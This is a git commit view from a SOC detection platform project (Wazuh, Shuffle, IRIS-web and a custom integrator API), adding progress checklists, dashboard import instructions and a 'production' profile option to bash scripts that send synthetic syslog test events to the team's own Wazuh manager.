tum недель назад: 2
Родитель
Сommit
09eff977c0

+ 168 - 0
overall.md

1
+# Overall Project Checklist vs Proposal (Revision)
2
+
3
+Reference: `Security Detection & Threat Intelligence Enhancement Proposal-revise.md`
4
+Updated: March 4, 2026
5
+
6
+Legend:
7
+- `[x]` Completed
8
+- `[~]` Partially completed / in progress
9
+- `[ ]` Not started
10
+
11
+## 1) Architecture & Core Platform
12
+
13
+- [x] Detection layer (Wazuh) deployed and integrated
14
+  - Evidence: `wazuh-docker/single-node/docker-compose.yml`, `compose-overrides/wazuh.shared-network.yml`
15
+- [x] Automation layer (Shuffle) integrated
16
+  - Evidence: `Shuffle/docker-compose.yml`, `scripts/update-shuffle-workflow-from-template.sh`
17
+- [x] Case management integrated (IRIS-web used in implementation)
18
+  - Evidence: `soc-integrator/app/adapters/iris.py`, `soc-integrator/app/main.py` (`/iris/tickets`)
19
+- [x] Escalation path (PagerDuty stub in MVP) integrated
20
+  - Evidence: `compose-overrides/pagerduty.stub.yml`, `soc-integrator/app/adapters/pagerduty.py`
21
+- [x] Orchestration/API layer (`soc-integrator`) operational
22
+  - Evidence: `soc-integrator/app/main.py`, `soc-integrator/app/routes/mvp.py`
23
+
24
+Note: Proposal mentions DFIRTrack in architecture section; current implementation uses IRIS-web.
25
+
26
+## 2) Scope of Work (Section 3)
27
+
28
+### 2.1 Create & Tune New Detection Rules / Use Cases
29
+
30
+- [x] Baseline rules/decoders for proposal use cases added
31
+  - Evidence:
32
+    - `wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml`
33
+    - `wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml`
34
+    - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a1-ioc-rules.xml`
35
+    - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a2-fortigate-fw-rules.xml`
36
+    - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a3-fortigate-vpn-rules.xml`
37
+    - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a4-windows-ad-rules.xml`
38
+- [~] Tuning against real production traffic
39
+  - Status: simulator/UAT-oriented tuning done; production false-positive tuning remains
40
+
41
+### 2.2 IOC Detection (DNS / Firewall / IDS-IPS)
42
+
43
+- [x] IOC enrichment/evaluation APIs implemented
44
+  - Evidence: `soc-integrator/app/main.py` (`/ioc/enrich`, `/ioc/evaluate`, `/ioc/history`)
45
+- [x] VirusTotal and AbuseIPDB integrations implemented
46
+  - Evidence: `soc-integrator/app/adapters/virustotal.py`, `soc-integrator/app/adapters/abuseipdb.py`
47
+- [x] IOC trace persistence implemented
48
+  - Evidence: `soc-integrator/app/repositories/mvp_repo.py` (`ioc_trace` methods)
49
+- [~] Scheduled IOC feed lifecycle hardening for production
50
+  - Status: core IOC workflow exists; production feed governance/SLAs still to finalize
51
+
52
+### 2.3 VPN Authentication Success from Outside Thailand
53
+
54
+- [x] MVP VPN evaluate flow implemented
55
+  - Evidence: `soc-integrator/app/routes/mvp.py` (`/mvp/vpn/evaluate`), `soc-integrator/app/services/mvp_service.py`
56
+- [x] GeoIP enrichment capability implemented
57
+  - Evidence: `soc-integrator/app/adapters/geoip.py`, `soc-integrator/app/main.py` (`/geoip/{ip}`)
58
+- [~] Production exception list and policy hardening
59
+  - Status: policy framework exists; enterprise exception governance pending
60
+
61
+## 3) End-to-End Workflow & Integration Deliverables (Section 4 / 4.1)
62
+
63
+- [x] Wazuh -> soc-integrator pipeline implemented
64
+  - Evidence: `soc-integrator/app/main.py` (`/wazuh/sync-to-mvp`, `/mvp/incidents/ingest`)
65
+- [x] soc-integrator -> IRIS ticket/case creation implemented
66
+  - Evidence: `soc-integrator/app/main.py` (`/iris/tickets`)
67
+- [x] soc-integrator -> Shuffle workflow trigger implemented
68
+  - Evidence: `soc-integrator/app/main.py` (`/shuffle/workflows/{workflow_id}/execute`)
69
+- [x] soc-integrator -> PagerDuty stub escalation path implemented
70
+  - Evidence: `soc-integrator/app/adapters/pagerduty.py`, `/action/create-incident`
71
+
72
+## 4) Appendix A (Initial Scope Use Cases)
73
+
74
+- [x] A1 DNS/Firewall IOC coverage artifacts in place
75
+- [x] A2 FortiGate IPS/Firewall coverage artifacts in place
76
+- [x] A3 FortiGate VPN coverage artifacts in place
77
+- [x] A4 Windows/AD coverage artifacts in place
78
+  - Evidence: `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-a*-*.xml`
79
+
80
+## 5) Appendix B (Optional Add-On)
81
+
82
+- [x] B1 VMware rule artifact present
83
+  - Evidence: `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b1-vmware-rules.xml`
84
+- [x] B2 Log loss monitoring implemented in soc-integrator
85
+  - Evidence: `soc-integrator/app/main.py` (`/monitor/log-loss/check`)
86
+- [x] B3 Sysmon rule artifact present
87
+  - Evidence: `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-b3-sysmon-rules.xml`
88
+- [x] Appendix B simulation script added
89
+  - Evidence: `scripts/send-wazuh-proposal-appendix-b-events.sh`
90
+
91
+## 6) Appendix C (Future Enhancements)
92
+
93
+- [x] C1 implemented (impossible travel detection logic)
94
+  - Evidence: `soc-integrator/app/services/c_detection_service.py` (`C1-01`)
95
+- [x] C2 implemented (C2-01..C2-04)
96
+  - Evidence: `soc-integrator/app/services/c_detection_service.py`
97
+- [x] C3 implemented (C3-01..C3-04)
98
+  - Evidence: `soc-integrator/app/services/c_detection_service.py`
99
+- [x] Appendix C simulator added
100
+  - Evidence: `scripts/send-wazuh-proposal-appendix-c-events.sh`
101
+- [ ] C4 ransomware early warning use cases
102
+- [ ] C5 endpoint/server anomaly use cases
103
+- [ ] C6 cloud/SaaS monitoring use cases
104
+- [ ] C7 SOC maturity monitoring use cases
105
+
106
+## 7) Dashboards, UI, and Operations
107
+
108
+- [x] Wazuh dashboard import automation added
109
+  - Evidence: `scripts/import-wazuh-dashboard.sh`, `scripts/events/*.ndjson`
110
+- [x] SOC Integrator UI implemented with monitoring and controls
111
+  - Evidence: `soc-integrator/app/ui/index.html`, `soc-integrator/app/ui/assets/app.js`
112
+- [x] Sim run control in UI (start/stop/logs)
113
+  - Evidence: `/sim/logs/start`, `/sim/logs/stop/{run_id}`, `/sim/logs/stop-running`, `/sim/logs/output/{run_id}`
114
+- [x] Wazuh Live Correlation view in Systems tab
115
+  - Evidence: `/sim/logs/wazuh-latest/{run_id}` + Systems UI section
116
+- [x] GeoIP lookup API and UI tab
117
+  - Evidence: `soc-integrator/app/main.py` (`/geoip/{ip}`), GeoIP tab in `/ui`
118
+
119
+## 8) Remaining Work for Production-Ready Acceptance
120
+
121
+- [~] Replace/augment lab-only assumptions (PagerDuty stub -> production PagerDuty)
122
+- [~] Production-grade tuning on real logs (A/B/C false positives and thresholds)
123
+- [~] Finalize runbooks, SLA/ownership, and exception governance
124
+- [~] Harden frontend dependency reliability (current UI still references external CDN scripts)
125
+
126
+## 8.1) Latest Incremental Updates (March 4, 2026)
127
+
128
+- [x] Added production-profile simulator mode for proposal scripts
129
+  - Evidence:
130
+    - `scripts/send-wazuh-proposal-required-events.sh` (`--profile=production`)
131
+    - `scripts/send-wazuh-proposal-appendix-b-events.sh` (`--profile=production`)
132
+- [x] Expanded normalization test support in SOC Integrator
133
+  - Evidence:
134
+    - `soc-integrator/app/main.py` (`GET /ingest/wazuh-alert/samples`)
135
+    - `soc-integrator/app/main.py` (`POST /ingest/wazuh-alert` now includes `normalized_event`)
136
+- [x] C1 normalization aligned to production log characteristics
137
+  - Evidence:
138
+    - `soc-integrator/app/services/mvp_service.py` (production-first C1 event typing)
139
+- [~] Production rule validation in Wazuh (`110xxx`) currently constrained by manager runtime instability during lab restarts
140
+  - Status: ingestion works; deterministic decoder/rule verification requires stable manager window.
141
+
142
+## 9) Quick Status Summary
143
+
144
+- Completed foundation and integration: **Yes**
145
+- Appendix A initial-scope implementation artifacts: **Present**
146
+- Appendix B optional add-ons: **Largely implemented in lab**
147
+- Appendix C future enhancements: **C1-C3 implemented; C4-C7 pending**
148
+- Primary gap: **production hardening, governance, and operations finalization**
149
+
150
+## 10) Mermaid: SOC Integrator C1-C3 Normalization
151
+
152
+```mermaid
153
+sequenceDiagram
154
+    participant W as Wazuh
155
+    participant SI as SOC Integrator API
156
+    participant N as normalize_wazuh_hit
157
+    participant C as C-Detection Service
158
+    participant DB as Postgres
159
+    participant IR as IRIS/Automation
160
+
161
+    W->>SI: Raw alert (_source.full_log, rule, agent)
162
+    SI->>N: Normalize raw alert
163
+    N-->>SI: Normalized event (asset/network/payload/risk_context)
164
+    SI->>C: Evaluate C1-C3 use cases
165
+    C->>DB: Store c_detection_events + evidence
166
+    C-->>SI: Matches + severity + reasoning
167
+    SI->>IR: Optional incident/ticket workflow
168
+```


+ 153 - 0
progress-update.md

258
 #### Operational scripts
258
 #### Operational scripts
259
 
259
 
260
 - `scripts/send-wazuh-test-events.sh`
260
 - `scripts/send-wazuh-test-events.sh`
261
+
262
+---
263
+
264
+Date: March 4, 2026
265
+Project: FoodProject SOC Platform (Wazuh + Shuffle + IRIS-web + SOC Integrator)
266
+
267
+## Incremental Progress Since Previous Update (March 4, 2026)
268
+
269
+### 1) Production-Profile Simulator Payloads
270
+
271
+- Added production payload mode to proposal simulators:
272
+  - `scripts/send-wazuh-proposal-required-events.sh`
273
+  - `scripts/send-wazuh-proposal-appendix-b-events.sh`
274
+- New argument:
275
+  - `--profile=simulation|production` (default remains `simulation`)
276
+- In `production` profile, simulator messages omit `section/usecase_id/usecase` markers and emit production-like key/value fields to support real parser/decoder testing.
277
+
278
+### 2) Wazuh Normalize API Improvements
279
+
280
+- Enhanced `POST /ingest/wazuh-alert` in `soc-integrator`:
281
+  - returns both legacy normalized shape and SOC normalized event shape.
282
+- Added `GET /ingest/wazuh-alert/samples` with practical sample request/response cases for:
283
+  - DNS IOC
284
+  - VMware auth
285
+  - Windows Sysmon
286
+  - C1 impossible travel
287
+
288
+### 3) C1 Normalization (Production-First)
289
+
290
+- Updated C1 normalization logic in:
291
+  - `soc-integrator/app/services/mvp_service.py`
292
+- C1 now maps from production characteristics (not only simulator markers):
293
+  - identity/vpn source context
294
+  - successful login/auth indicator
295
+  - user + source IP present
296
+  - geo context present (`country` and/or `src_lat/src_lon`)
297
+- Legacy `section/usecase_id` C1 markers are kept as fallback for backward compatibility.
298
+
299
+### 4) Current Validation Status
300
+
301
+- Production-profile simulator events are being sent to Wazuh successfully.
302
+- Some runs still show only base-rule matching during verification due to current Wazuh manager runtime instability in lab (intermittent restart/init issues), which affects deterministic decoder/rule validation windows.
303
+- Next validation step after stable manager window:
304
+  - re-run production-profile A1/B1/B2/B3 batches
305
+  - confirm `110xxx` production rules with consistent hit evidence.
306
+
307
+### 5) Mermaid Diagram: C1-C3 Normalization Flow (SOC Integrator)
308
+
309
+```mermaid
310
+flowchart LR
311
+    A[Wazuh Raw Alert<br/>full_log + rule + agent] --> B[POST /wazuh/sync-to-mvp<br/>or /ingest/wazuh-alert]
312
+    B --> C[mvp_service.normalize_wazuh_hit]
313
+    C --> D[KV parse from full_log<br/>src_ip user country event_type]
314
+    D --> E[Normalized Event Schema<br/>source event_type timestamp severity<br/>asset network payload risk_context]
315
+
316
+    E --> F{C-Detection Evaluate}
317
+    F --> C1[C1 Impossible Travel<br/>geo context + success login + user/src_ip]
318
+    F --> C2[C2 Credential Abuse<br/>off-hours / dormant / service interactive / rapid privilege]
319
+    F --> C3[C3 Lateral Movement<br/>multi-host auth / SMB-RDP burst / internal scan]
320
+
321
+    C1 --> G[Persist c_detection_events]
322
+    C2 --> G
323
+    C3 --> G
324
+    G --> H[Optional Incident Pipeline<br/>IRIS case + Shuffle + PagerDuty stub]
325
+```
261
 - `scripts/send-wazuh-endpoint-agent-test-events.sh`
326
 - `scripts/send-wazuh-endpoint-agent-test-events.sh`
262
 - additional simulation scripts under `scripts/` for firewall and endpoint scenarios with continuous mode enabled
327
 - additional simulation scripts under `scripts/` for firewall and endpoint scenarios with continuous mode enabled
263
 
328
 
571
 - Timestamp format is valid ISO-8601 after normalization
636
 - Timestamp format is valid ISO-8601 after normalization
572
 - Sample events can be found in `wazuh-alerts-*` within expected ingestion latency
637
 - Sample events can be found in `wazuh-alerts-*` within expected ingestion latency
573
 - At least one C-use-case evaluation run confirms source contributes to detection context
638
 - At least one C-use-case evaluation run confirms source contributes to detection context
639
+
640
+---
641
+
642
+Date: March 4, 2026
643
+Project: FoodProject SOC Platform (Wazuh + Shuffle + IRIS-web + SOC Integrator)
644
+
645
+## Git Diff Progress Summary (Base: `0de071e` -> Head: `5e215c0`)
646
+
647
+### Diff Snapshot
648
+
649
+- Base commit: `0de071e7c9327c8c9135f0c15cf80c31c9b2e59a`
650
+- Head commit: `5e215c0`
651
+- Net change: **40 files changed, 6083 insertions(+), 108 deletions(-)**
652
+
653
+### Major Progress Areas
654
+
655
+1. SOC Integrator Expansion
656
+
657
+- Added full admin UI stack:
658
+  - `soc-integrator/app/ui/index.html`
659
+  - `soc-integrator/app/ui/assets/app.js`
660
+  - `soc-integrator/app/ui/assets/styles.css`
661
+- Added Appendix C correlation/detection service:
662
+  - `soc-integrator/app/services/c_detection_service.py`
663
+- Extended API/data layers for monitoring, simulation control, IOC, and detection history:
664
+  - `soc-integrator/app/main.py`
665
+  - `soc-integrator/app/models.py`
666
+  - `soc-integrator/app/repositories/mvp_repo.py`
667
+- Added GeoIP adapter integration:
668
+  - `soc-integrator/app/adapters/geoip.py`
669
+
670
+2. Wazuh Simulation and Dashboard Delivery
671
+
672
+- Added Appendix-specific event generators:
673
+  - `scripts/send-wazuh-proposal-appendix-b-events.sh`
674
+  - `scripts/send-wazuh-proposal-appendix-c-events.sh`
675
+- Added dashboard artifacts/import pipeline:
676
+  - `scripts/events/*.ndjson`
677
+  - `scripts/import-wazuh-dashboard.sh`
678
+- Added Wazuh custom decoder/rules artifacts for proposal scenarios:
679
+  - `wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml`
680
+  - `wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml`
681
+  - `wazuh-docker/single-node/config/wazuh_cluster/rules/soc-*.xml`
682
+
683
+### Wazuh Custom Rules Added (Current Active Set)
684
+
685
+Active custom rules are currently defined in:
686
+- `wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml`
687
+
688
+Rule groups/ranges implemented:
689
+- Base and appendix classifiers:
690
+  - `100200`: base marker for synthetic SOC events (`soc_mvp_test=true`)
691
+  - `100210`: Appendix A classifier
692
+  - `100220`: Appendix B classifier
693
+  - `100230`: Appendix C classifier
694
+- Appendix A:
695
+  - `A1` IOC/DNS: `100301-100302`
696
+  - `A2` FortiGate firewall/IPS/IDS: `100311-100320`
697
+  - `A3` VPN anomalies: `100331-100335`
698
+  - `A4` Windows/AD behaviors: `100341-100364`
699
+- Appendix B:
700
+  - `B1` VMware/vCenter/ESXi: `100401-100403`
701
+  - `B2` Log-loss monitor signal: `100411`
702
+  - `B3` Sysmon-focused detections: `100421-100426`
703
+- Appendix C (implemented scope C1-C3):
704
+  - `C1` Impossible travel: `100501`
705
+  - `C2` Credential abuse/privilege misuse: `100511-100514`
706
+  - `C3` Lateral movement/internal recon: `100521-100524`
707
+
708
+Operational note:
709
+- Split rule files under `wazuh_cluster/rules/soc-*.xml` exist as staging artifacts in this workspace; active detection content is loaded from `local_rules.xml`.
710
+
711
+3. Operations and Runtime Hardening
712
+
713
+- Updated orchestration and runtime configuration:
714
+  - `run-combined-stack.sh`
715
+  - `compose-overrides/soc-integrator.yml`
716
+  - `soc-integrator/Dockerfile`
717
+  - `soc-integrator/.env.example`
718
+
719
+### Documentation Progress Included in This Range
720
+
721
+- Added/updated proposal revision document:
722
+  - `Security Detection & Threat Intelligence Enhancement Proposal-revise.md`
723
+- Expanded progress log coverage in this file (`progress-update.md`) including:
724
+  - Appendix C (C1-C3) production log mapping
725
+  - Production data onboarding checklist
726
+  - Acceptance criteria for source onboarding and validation

BIN
progress-update.pdf


+ 81 - 0
scripts/README.md

1
 # Test Event Scripts
1
 # Test Event Scripts
2
 
2
 
3
+## SOC Integrator UI (`Run Sim Logs`) target mapping
4
+
5
+`/ui -> Systems -> Run Sim Logs` now supports **multi-select Target** values based on selected `Script`.
6
+The UI starts one simulator run per selected target (except `all`, which runs a single `all` run).
7
+
8
+- `fortigate`: `all`, `501E`, `80F`, `60F`, `40F`
9
+- `endpoint`: `all`, `windows`, `mac`, `linux`
10
+- `cisco`: `all`, `asa_acl_deny`, `asa_vpn_auth_fail`, `ios_login_fail`, `ios_config_change`
11
+- `proposal_required`: `all`, `a1`, `a2`, `a3`, `a4`
12
+- `proposal_appendix_b`: `all`, `b1`, `b2`, `b3`
13
+- `proposal_appendix_c`: `all`, `c1`, `c2`, `c3`
14
+- `wazuh_test`: `all`, `ioc_dns`, `ioc_ips`, `vpn_outside_th`, `windows_auth_fail`
15
+
3
 ## Send Wazuh test events
16
 ## Send Wazuh test events
4
 
17
 
5
 Use this to inject synthetic SOC events via syslog UDP into Wazuh manager.
18
 Use this to inject synthetic SOC events via syslog UDP into Wazuh manager.
342
 After import, open dashboard:
355
 After import, open dashboard:
343
 
356
 
344
 - `SOC FortiGate Simulation Overview`
357
 - `SOC FortiGate Simulation Overview`
358
+
359
+## Wazuh dashboard files (detailed)
360
+
361
+Dashboard saved objects are stored in `scripts/events/*.ndjson`.
362
+
363
+- `scripts/events/wazuh-fortigate-sim-dashboard.ndjson`
364
+  - Title: `SOC FortiGate Simulation Overview`
365
+  - Purpose: FortiGate simulation visibility (events over time, top devices, top event types, severity).
366
+  - Typical data source: `scripts/send-wazuh-fortigate-test-events.sh`
367
+
368
+- `scripts/events/wazuh-client-agents-dashboard.ndjson`
369
+  - Title: `SOC Client Agent Simulation Overview`
370
+  - Purpose: Endpoint simulation visibility for Windows/macOS/Linux agent logs.
371
+  - Typical data source: `scripts/send-wazuh-endpoint-agent-test-events.sh`
372
+
373
+- `scripts/events/wazuh-proposal-required-dashboard.ndjson`
374
+  - Title: `SOC Proposal Required Logs Overview`
375
+  - Purpose: Appendix A required-scope logs (A1-A4).
376
+  - Typical data source: `scripts/send-wazuh-proposal-required-events.sh`
377
+
378
+- `scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson`
379
+  - Title: `SOC Proposal Appendix A+B Overview`
380
+  - Purpose: Combined Appendix A and B overview, including use-case table.
381
+  - Typical data sources:
382
+    - `scripts/send-wazuh-proposal-required-events.sh`
383
+    - `scripts/send-wazuh-proposal-appendix-b-events.sh`
384
+
385
+- `scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson`
386
+  - Title: `SOC Proposal Appendix C Overview`
387
+  - Purpose: Appendix C MVP scope visibility (currently C1-C3 coverage).
388
+  - Typical data source: `scripts/send-wazuh-proposal-appendix-c-events.sh`
389
+
390
+- `scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson`
391
+  - Title: `SOC Proposal Custom Rules Overview`
392
+  - Purpose: Monitor custom proposal rules (e.g., 1003xx/1004xx families), severity, and top descriptions.
393
+  - Typical data source: Any simulation script that triggers proposal custom rules.
394
+
395
+### Import any dashboard file
396
+
397
+```bash
398
+scripts/import-wazuh-dashboard.sh scripts/events/<dashboard-file>.ndjson
399
+```
400
+
401
+Examples:
402
+
403
+```bash
404
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-client-agents-dashboard.ndjson
405
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
406
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-ab-dashboard.ndjson
407
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-appendix-c-dashboard.ndjson
408
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-custom-rules-dashboard.ndjson
409
+```
410
+
411
+Optional overrides:
412
+
413
+```bash
414
+WAZUH_DASHBOARD_URL=https://localhost \
415
+WAZUH_DASHBOARD_USER=admin \
416
+WAZUH_DASHBOARD_PASS=SecretPassword \
417
+OVERWRITE=true \
418
+scripts/import-wazuh-dashboard.sh scripts/events/wazuh-proposal-required-dashboard.ndjson
419
+```
420
+
421
+### Quick troubleshooting
422
+
423
+- Verify index pattern has data in Discover: `wazuh-alerts-*`.
424
+- Set time range wide enough (for example `Last 24 hours`).
425
+- If charts are empty but raw logs exist, re-import the latest NDJSON and refresh index fields.

+ 18 - 3
scripts/send-wazuh-proposal-appendix-b-events.sh

14
 EVENT_DELAY="${EVENT_DELAY:-0.05}"
14
 EVENT_DELAY="${EVENT_DELAY:-0.05}"
15
 DRY_RUN="${DRY_RUN:-0}"
15
 DRY_RUN="${DRY_RUN:-0}"
16
 FOREVER="false"
16
 FOREVER="false"
17
+PROFILE="${PROFILE:-simulation}"
17
 
18
 
18
 for arg in "${@:4}"; do
19
 for arg in "${@:4}"; do
19
   case "${arg}" in
20
   case "${arg}" in
20
     --forever)
21
     --forever)
21
       FOREVER="true"
22
       FOREVER="true"
22
       ;;
23
       ;;
24
+    --profile=*)
25
+      PROFILE="${arg#*=}"
26
+      ;;
23
     *)
27
     *)
24
       echo "error: unexpected argument '${arg}'"
28
       echo "error: unexpected argument '${arg}'"
25
-      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever]"
29
+      echo "usage: scripts/send-wazuh-proposal-appendix-b-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
26
       exit 1
30
       exit 1
27
       ;;
31
       ;;
28
   esac
32
   esac
52
   exit 1
56
   exit 1
53
 fi
57
 fi
54
 
58
 
59
+if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
+  echo "error: profile must be simulation or production"
61
+  exit 1
62
+fi
63
+
55
 rand_public_ip() {
64
 rand_public_ip() {
56
   if [[ $((RANDOM % 2)) -eq 0 ]]; then
65
   if [[ $((RANDOM % 2)) -eq 0 ]]; then
57
     echo "198.51.100.$((RANDOM % 240 + 10))"
66
     echo "198.51.100.$((RANDOM % 240 + 10))"
113
 
122
 
114
   selector_matches "${id}" "${section}" || return 0
123
   selector_matches "${id}" "${section}" || return 0
115
 
124
 
116
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
125
+  local tags
126
+  if [[ "${PROFILE}" == "production" ]]; then
127
+    tags="soc_mvp_test=true source=${source} severity=${severity}"
128
+  else
129
+    tags="soc_mvp_test=true source=${source} section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
130
+  fi
131
+  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${host} ${tags} ${body}"
117
   sleep "${EVENT_DELAY}"
132
   sleep "${EVENT_DELAY}"
118
 }
133
 }
119
 
134
 
194
 }
209
 }
195
 
210
 
196
 echo "starting proposal Appendix B log simulator"
211
 echo "starting proposal Appendix B log simulator"
197
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
212
+echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
198
 echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
213
 echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
199
 
214
 
200
 if [[ "${FOREVER}" == "true" ]]; then
215
 if [[ "${FOREVER}" == "true" ]]; then

+ 32 - 5
scripts/send-wazuh-proposal-required-events.sh

14
 EVENT_DELAY="${EVENT_DELAY:-0.05}"
14
 EVENT_DELAY="${EVENT_DELAY:-0.05}"
15
 DRY_RUN="${DRY_RUN:-0}"
15
 DRY_RUN="${DRY_RUN:-0}"
16
 FOREVER="false"
16
 FOREVER="false"
17
+PROFILE="${PROFILE:-simulation}"
17
 
18
 
18
 for arg in "${@:4}"; do
19
 for arg in "${@:4}"; do
19
   case "${arg}" in
20
   case "${arg}" in
20
     --forever)
21
     --forever)
21
       FOREVER="true"
22
       FOREVER="true"
22
       ;;
23
       ;;
24
+    --profile=*)
25
+      PROFILE="${arg#*=}"
26
+      ;;
23
     *)
27
     *)
24
       echo "error: unexpected argument '${arg}'"
28
       echo "error: unexpected argument '${arg}'"
25
-      echo "usage: scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds] [--forever]"
29
+      echo "usage: scripts/send-wazuh-proposal-required-events.sh [selector] [count] [delay_seconds] [--forever] [--profile=simulation|production]"
26
       exit 1
30
       exit 1
27
       ;;
31
       ;;
28
   esac
32
   esac
52
   exit 1
56
   exit 1
53
 fi
57
 fi
54
 
58
 
59
+if [[ "${PROFILE}" != "simulation" && "${PROFILE}" != "production" ]]; then
60
+  echo "error: profile must be simulation or production"
61
+  exit 1
62
+fi
63
+
55
 rand_public_ip() {
64
 rand_public_ip() {
56
   if [[ $((RANDOM % 2)) -eq 0 ]]; then
65
   if [[ $((RANDOM % 2)) -eq 0 ]]; then
57
     echo "198.51.100.$((RANDOM % 240 + 10))"
66
     echo "198.51.100.$((RANDOM % 240 + 10))"
119
 
128
 
120
   selector_matches "${id}" "${section}" || return 0
129
   selector_matches "${id}" "${section}" || return 0
121
 
130
 
122
-  emit_syslog "<190>date=$(date '+%Y-%m-%d') time=$(date '+%H:%M:%S') devname=\"${FGT_DEVNAME}\" devid=\"${FGT_DEVID}\" eventtime=$(date +%s) vd=\"root\" soc_mvp_test=true source=fortigate section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
131
+  local tags
132
+  if [[ "${PROFILE}" == "production" ]]; then
133
+    tags="soc_mvp_test=true source=fortigate severity=${severity}"
134
+  else
135
+    tags="soc_mvp_test=true source=fortigate section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
136
+  fi
137
+  emit_syslog "<190>date=$(date '+%Y-%m-%d') time=$(date '+%H:%M:%S') devname=\"${FGT_DEVNAME}\" devid=\"${FGT_DEVID}\" eventtime=$(date +%s) vd=\"root\" ${tags} ${body}"
123
   sleep "${EVENT_DELAY}"
138
   sleep "${EVENT_DELAY}"
124
 }
139
 }
125
 
140
 
132
 
147
 
133
   selector_matches "${id}" "${section}" || return 0
148
   selector_matches "${id}" "${section}" || return 0
134
 
149
 
135
-  emit_syslog "<189>$(date '+%b %d %H:%M:%S') ${DNS_HOST} soc_mvp_test=true source=dns section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
150
+  local tags
151
+  if [[ "${PROFILE}" == "production" ]]; then
152
+    tags="soc_mvp_test=true source=dns severity=${severity}"
153
+  else
154
+    tags="soc_mvp_test=true source=dns section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
155
+  fi
156
+  emit_syslog "<189>$(date '+%b %d %H:%M:%S') ${DNS_HOST} ${tags} ${body}"
136
   sleep "${EVENT_DELAY}"
157
   sleep "${EVENT_DELAY}"
137
 }
158
 }
138
 
159
 
145
 
166
 
146
   selector_matches "${id}" "${section}" || return 0
167
   selector_matches "${id}" "${section}" || return 0
147
 
168
 
148
-  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\" ${body}"
169
+  local tags
170
+  if [[ "${PROFILE}" == "production" ]]; then
171
+    tags="soc_mvp_test=true source=windows severity=${severity}"
172
+  else
173
+    tags="soc_mvp_test=true source=windows section=${section} usecase_id=${id} severity=${severity} usecase=\"${usecase}\""
174
+  fi
175
+  emit_syslog "<182>$(date '+%b %d %H:%M:%S') ${WIN_HOST} ${tags} ${body}"
149
   sleep "${EVENT_DELAY}"
176
   sleep "${EVENT_DELAY}"
150
 }
177
 }
151
 
178
 
308
 }
335
 }
309
 
336
 
310
 echo "starting proposal-required log simulator"
337
 echo "starting proposal-required log simulator"
311
-echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN}"
338
+echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s event_delay=${EVENT_DELAY}s dry_run=${DRY_RUN} profile=${PROFILE}"
312
 echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
339
 echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
313
 
340
 
314
 if [[ "${FOREVER}" == "true" ]]; then
341
 if [[ "${FOREVER}" == "true" ]]; then

+ 229 - 9
soc-integrator/app/main.py

9
 from datetime import datetime, timedelta, timezone
9
 from datetime import datetime, timedelta, timezone
10
 from pathlib import Path
10
 from pathlib import Path
11
 
11
 
12
+from psycopg import sql
12
 from fastapi import Depends, FastAPI, File, HTTPException, Request, UploadFile
13
 from fastapi import Depends, FastAPI, File, HTTPException, Request, UploadFile
13
 from fastapi.responses import FileResponse, Response
14
 from fastapi.responses import FileResponse, Response
14
 from fastapi.staticfiles import StaticFiles
15
 from fastapi.staticfiles import StaticFiles
21
 from app.adapters.virustotal import VirusTotalAdapter
22
 from app.adapters.virustotal import VirusTotalAdapter
22
 from app.adapters.wazuh import WazuhAdapter
23
 from app.adapters.wazuh import WazuhAdapter
23
 from app.config import settings
24
 from app.config import settings
24
-from app.db import init_schema
25
+from app.db import get_conn, init_schema
25
 from app.models import (
26
 from app.models import (
26
     ActionCreateIncidentRequest,
27
     ActionCreateIncidentRequest,
27
     ApiResponse,
28
     ApiResponse,
447
     )
448
     )
448
 
449
 
449
 
450
 
450
-@app.post(
451
-    "/ingest/wazuh-alert",
452
-    response_model=ApiResponse,
453
-    summary="Normalize Wazuh alert",
454
